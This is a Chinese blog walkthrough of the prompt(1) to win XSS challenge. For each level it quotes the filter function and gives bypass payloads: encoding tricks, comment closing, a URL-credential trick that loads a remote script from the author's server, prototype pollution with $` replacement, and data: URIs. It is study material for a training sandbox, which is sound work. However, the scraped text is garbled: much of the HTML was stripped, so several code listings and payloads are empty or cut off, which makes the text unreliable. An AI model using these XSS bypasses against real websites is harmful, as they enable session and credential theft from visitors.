prompt(1) to win -xss学习
创始人
2024-04-11 13:57:02
0

网址

https://prompt.ml/

level 0 (闭合)

function escape(input) {// warm up// script should be executed without user interactionreturn '';
} 

闭合前面的双引号

">

level 1 ( <…>绕过 )

function escape(input) {// tags stripping mechanism from ExtJS library// Ext.util.Format.stripTagsvar stripTagsRE = /<\/?[^>]+>/gi;input = input.replace(stripTagsRE, '');return '
' + input + '
'; }

过滤了<>,会把<…>变为空,所以不能有 >,而

....
会把之间的变为普通文字,所以要把后面的注释掉。

level 2 ( =,(绕过 )

function escape(input) {//                      v-- frowny faceinput = input.replace(/[=(]/g, '');// ok seriously, disallows equal signs and open parenthesisreturn input;
}   

过滤了=、(,用编码绕过。


这里的 svg 标签不能去,因为 script 内部文本遵循不转义的规则,而 svg 在 HTML 中属于外来元素,意味着规则不由 HTML 定义,而是由 svg 自己定义。也就是说 HTML 在使用前会先将 xml 实体解析再加入标签。

还有一种利用 js 的 eval 函数,绝了,这里的 `` 是模板字符串,也就是里面可以用变量和表达式,eval会自动解码执行。


或者


level 3 ( -> 替换为 _ )

function escape(input) {// filter potential comment end delimitersinput = input.replace(/->/g, '_');// comment the input to avoid script executionreturn '';
}    

用 --!> 闭合注释

--!>

这边学到一个姿势:

--!>

level 4 同源的正则过滤

( /^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input)) )

function escape(input) {// make sure the script belongs to own site// sample script: http://prompt.ml/js/test.jsif (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {var script = document.createElement('script');script.src = input;return script.outerHTML;} else {return 'Invalid resource.';}
}        

浏览器支持这样的url:http://user:password@attacker.com。但是 http://user:password/@attacker.com 是不允许的,但是由于 decodeURIComponent 函数的原因,http://user:password%2f@attacker.com 用 %2f 就可以绕过了,这边要再自己的服务器上构造

//prompt.ml%2f@vps/1.js

level 5 ( replace(/>|on.+?=|focus/gi, ‘_’) )

function escape(input) {// apply strict filter rules of level 0// filter ">" and event handlersinput = input.replace(/>|on.+?=|focus/gi, '_');return '';
}        

限定了 input 标签的类型,,换行重写类型,这是因为后面的 type 不能覆盖前面的 type。

" type="image" src=1 onerror
="prompt(1)

level 6 表单提交action过滤

function escape(input) {// let's do a post redirectiontry {// pass in formURL#formDataJSON// e.g. http://httpbin.org/post#{"name":"Matt"}var segments = input.split('#');var formURL = segments[0];var formData = JSON.parse(segments[1]);var form = document.createElement('form');form.action = formURL;form.method = 'post';for (var i in formData) {var input = form.appendChild(document.createElement('input'));input.name = i;input.setAttribute('value', formData[i]);}return form.outerHTML + '                         \n\
                                                 \n\';} catch (e) {return 'Invalid form data.';}
}        

从上面的源码中可以看出,是构造一个类似 http://httpbin.org/post#{"name":"Matt"} 这种格式的,# 前面的是 formURL ,也就是 form 表单 action 属性的值,后面的 post 数据构造 input 标签。在传的时候可以看到,对第一个 action 属性值做了过滤,我们可以令 action 的子标签,也就是 input 下的属性名设置成 action,这样就可以绕过了,原理就是会优先指向 nameaction 的子标签。
在这里插入图片描述

level 7 利用 script 标签的注释绕过长度限制

题目告诉我们是以 # 划分,且每个标题长度不超过 12

function escape(input) {// pass in something like dog#cat#bird#mouse...var segments = input.split('#');return segments.map(function(title) {// title can only contain 12 charactersreturn '

';}).join('\n'); }

payload :

">

从下图生成的标签格式可以看出(红括号内是注释掉的),最后只剩

在这里插入图片描述
还有一种跟巧妙的方法,我们可以通过引号之间的闭合来绕,用 onload 执行 js 语句

">

在这里插入图片描述

level 8 特殊字符换行,–>注释

过滤了 \r \n < ",可以 unicode 字符绕过,且 -->js 中也可以当做注释使用

function escape(input) {// prevent input from getting out of comment// strip off line-breaks and stuffinput = input.replace(/[\r\n                                    \n\// console.log("' + input + '");        \n\
 ';
}        

在这里插入图片描述
payloadconsole 处运行一下
在这里插入图片描述

level 9 unicode 编码加远程加载 js 绕过

会把 < 后面的字母变为 <_,还会对代码全部转大写,前者可以用 unicode 绕过,标签大小写没事,但是里面的 js 代码是大小写敏感的,可以用远程 js 加载。

function escape(input) {// filter potential start-tagsinput = input.replace(/<([a-zA-Z])/g, '<_$1');// use all-caps for headinginput = input.toUpperCase();// sample input: you shall not pass! => YOU SHALL NOT PASS!return '

' + input + '

'; }

payload:

<ſcript/ſrc="xxx/1.js">

level A

题目会先对输入进行 url 编码,这样我们就无法利用 unicode 绕过,但是它后面又做了一个替换把 ' 替换为 ,也就是说如果我们在 prompt 中间插上 ' ,那么经过第二个替换就会变成 prompt

function escape(input) {// (╯°□°)╯︵ ┻━┻input = encodeURIComponent(input).replace(/prompt/g, 'alert');// ┬──┬ ノ( ゜-゜ノ) chill out broinput = input.replace(/'/g, '');// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BROreturn ' ';
}        

payload:

pro'mpt(1)

level B 利用运算符绕过

过滤了很多特殊的字符。

function escape(input) {// name should not contain special charactersvar memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');// data to be parsed as JSONvar dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';// directly "parse" data in script contextreturn '                                \n\
 ';
}        

如果没有禁冒号的话,我们使可以闭合来绕过的,但是这边禁用了,这边说一下大佬的思路。

如下所示,是可以成功弹窗的,双引号里可以是任何字符,这里的 in 或者 instanceof 是运算符,且 1(prompt(1)) 也是可以成功弹窗的,尽管这两个方法都会报错。

(prompt(1))instanceof"1"和 (prompt(1))in"1"

level C 字符串转数字

level A 不一样的是,这一题是先过滤了单引号,再过滤 prompt 的。

function escape(input) {// in Soviet Russia...input = encodeURIComponent(input).replace(/'/g, '');// table flips you!input = input.replace(/prompt/g, 'alert');// ノ┬─┬ノ ︵ ( \o°o)\return ' ';
}        

php 中我们可以利用数学函数把数字转为字母执行 shell,这题的原理差不多。
在这里插入图片描述
在这里插入图片描述
由上面两张图可以看出此方法是可行的,大佬的各种骚操作 真是令我大开眼界啊。

payload:

eval((630038579).toString(30))(1)利用 concat 连接,String.fromCharCode
eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

level D 原型链和特殊替换

extend 接收的是一个对象,且里面有一个这样的语句 obj[prop] = source[prop]; 这不就是很典型的原型链污染嘛,后面判断 source 有没有其他字符,有则删除 source 属性,又过滤了双引号,判断格式是否正确。

function escape(input) {// extend method from Underscore library// _.extend(destination, *sources) function extend(obj) {var source, prop;for (var i = 1, length = arguments.length; i < length; i++) {source = arguments[i];for (prop in source) {obj[prop] = source[prop];}}return obj;}// a simple picture plugintry {// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}var data = JSON.parse(input);var config = extend({// default image sourcesource: 'http://placehold.it/350x150'}, JSON.parse(input));// forbit invalid image sourceif (/[^\w:\/.]/.test(config.source)) {delete config.source;}// purify the source by stripping off "var source = config.source.replace(/"/g, '');// insert the content using mustache-ish templatereturn '{source}}">'.replace('{{source}}', source);} catch (e) {return 'Invalid image data.';}
}

从下图可以看出当我们把 a 属性删掉的时候,它会通过__proto__向上找 a 属性,如过上面都没有则会返回空。
在这里插入图片描述
在这里插入图片描述
思路有了,那么还有个问题怎么绕过闭合?它过滤了双引号,我们无法用双引号来绕过了。这边大佬给了一个特殊的替换方式。
在这里插入图片描述
通过例子来看一下:

//$$:输出一个$
'123456789'.replace('34',"$$xss");
'12$xss56789'//$&:插入到匹配到的字符串后面(不会删掉匹配到的字符)
'123456789'.replace('34',"$&xss");
'1234xss56789'//$`:复制匹配到的字符串前面的那部分,并把字符串插入(会删掉匹配到的字符)
'123456789'.replace('34',"$`xss");
'1212xss56789'//$':复制匹配到的字符串的后面的那部分,并把字符串插入(会删掉匹配到的字符)
'123456789'.replace('34',"$'xss");
'1256789xss56789'

更具上面的那个,如果我们利用

$`

那么不就可以复制 {{source}} 之前的字符串,也就是 ,双引号不就来了么。
payload:

{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}

在这里插入图片描述

level E iframe 的 src 编码

做了一下几个处理:

1.全部转大写
2. 把 xxx: 替换为 data:
3. 把 &+\空格 vps 替换为 _
那么应该就是利用 data 来绕过,也可以看成 data 伪协议,就是不需要额外请求,直接在网页中嵌入文件。

格式如下:

data:[][;charset=][;base64],
function escape(input) {// I expect this one will have other solutions, so be creative :)// mspaint makes all file names in all-caps :(// too lazy to convert them back in lower case// sample input: prompt.jpg => PROMPT.JPGinput = input.toUpperCase();// only allows images loaded from own host or data URI schemeinput = input.replace(/\/\/|\w+:/g, 'data:');// miscellaneous filteringinput = input.replace(/[\\&+%\s]|vbs/gi, '_');return '';
}        

payload:

">